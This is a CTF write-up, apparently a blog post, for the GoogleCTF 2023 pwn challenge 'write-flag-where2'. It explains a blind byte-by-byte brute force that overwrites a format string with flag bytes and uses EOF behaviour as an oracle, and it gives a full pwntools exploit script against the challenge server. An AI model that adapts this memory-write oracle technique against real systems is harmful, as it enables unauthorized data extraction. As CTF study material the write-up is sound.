+4

GoogleCTF 2023 writeup - "write-flag-where2" challenge - a different solution to Google's

1. Introduction to the challenge

  • Category: pwn
  • This challenge is the part 2 of "write-flag-where1" challenge. It is the same binary without the "Give me..." string to overwrite. read more about the previous challenge solution here.

2. Google's solution

Google published their solution to the challenge. They solved it by writing byte 'C', 'T', 'F' and '}' into the code section in order to modify the control flow of the program. While this is a clever solution, I find it "cheaty" because you have to know that 4 bytes will be presented in the flag string. So I come up with another solution which pretty similar to the first challenge - write flag data into the data section of the loaded image, but this time we have to guess each byte of the flag string - like exploiting blind sql injection.

3. Brute-forcing solution

3.1. Brief description

We write each byte of the flag to the first byte of format string "0x%llx %u", then send the next input to guess the written byte. If the guessed character is correct, then the target application will wait for the next input. If it is not correct, the target application will break out of the loop to exit, thus causing the EOFError exception. We can observe that behavior to brute-force the whole string of the flag.

3.2. How?

Ground truth of the solution:

  • The program will break into the exit() function if the input data does not follow the given format:
    image.png
    example: "0x5654398190bc 1" is a valid input, and "Cx5654398190bc 1" is not a valid input.
  • When using client_socket.recv() in our script to receive data from the remote application:
    • if our input is invalid, the remote application will call exit(0) then our client application will receive a EOF character:
      image.png
      image.png
    • If our input is valid, the remote application continues waiting for another input, our client will just hang there waiting for data coming from the remote application :
      image.png
      image.png

3.3. Make use of such behavior of the target application

Idea: We can brute force each byte of the flag string by somehow test that byte against the format string. If the tested byte value makes the input string adhere to the format string, then we know we found the correct one.

But how can we do that? The format string is fixed, isn't it? Well, that's when our write-flag-anywhere feature comes in.

We know the base address of chal binary, we know the offset of "0xllx %u" string, so we can write the flag data into such memory space. How should we write data? We can write each byte of the flag data into the first address of the format string by writing byte_offset + 1 bytes into format_string_address - byte_offset. The format string will become "<next_flag_byte>x%llx %u".
image.png
We have to keep two format specifiers in the format string because the chal program requires 2 numbers extracted from the input:
image.png

Then to find out each byte, we just need to try each printable character until the target application does not send EOF character. Example: Our flag has the format CTF{...} so to find the first byte of the flag we need to try each byte until the payload "Cx<some_address> 0" is sent.

3.4. Implementation

Graph view of my format-string solution:
image.png

The exploit script (might take an hour to print out the whole flag 😴):

from pwn import *
import string
import tqdm
import time

seed = string.printable
result = "" 
result_index = 0
found_char = ""
try:
    while found_char != "}":
        log.info("flag index " + str(result_index))
        for found_char in tqdm.tqdm(seed):
            context.log_level = 'error' # only print out some thing if error occurs
            client_socket = remote('wfw2.2023.ctfcompetition.com', 1337)
            context.log_level = 'info'

            ### base of chal binary
            data = client_socket.recvuntil(b"but I've removed all the fluff\n")
            data = client_socket.recvuntil(b"-")
            base_chal = data[:-1]
            base_chal = int(base_chal, base=16)

            ### format string address
            format_string_offset = 0x20bc
            format_string_address = base_chal + format_string_offset

            data = client_socket.recv()
            try:
                data = client_socket.recv()
            except:
                pass

            payload_1 = hex(format_string_address - result_index).encode('utf-8') + b" " + str(result_index + 1).encode("utf-8")
            client_socket.send(payload_1)

            time.sleep(2) # give the target application time to do it stuff before continue receiving data
            payload_2 = (found_char + hex(format_string_address - result_index)[1:]).encode('utf-8') + b" " + b"0"
            client_socket.send(payload_2)
            try:
                client_socket.recv(timeout=1)
                log.success("found next char: " + found_char)
                result = result + found_char
                log.info("flag update: " + result)
                result_index = result_index + 1
                break
            except EOFError:
                # now we know the testing character is wrong
                pass
            
            context.log_level = 'error' # only print out some thing if error occurs
            client_socket.close()
            context.log_level = 'info'

except KeyboardInterrupt:
    pass

log.info("\nflag is " + result)

3.5. Result

This is a blind exploitation based on network connection so in took some attempts before we finally found the flag. It failed many times in the middle of the execution so we had to begin right where it left by modifying the result_index variable. Here is the result looks like:
image.png
Pasted image 20230626134101.png


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.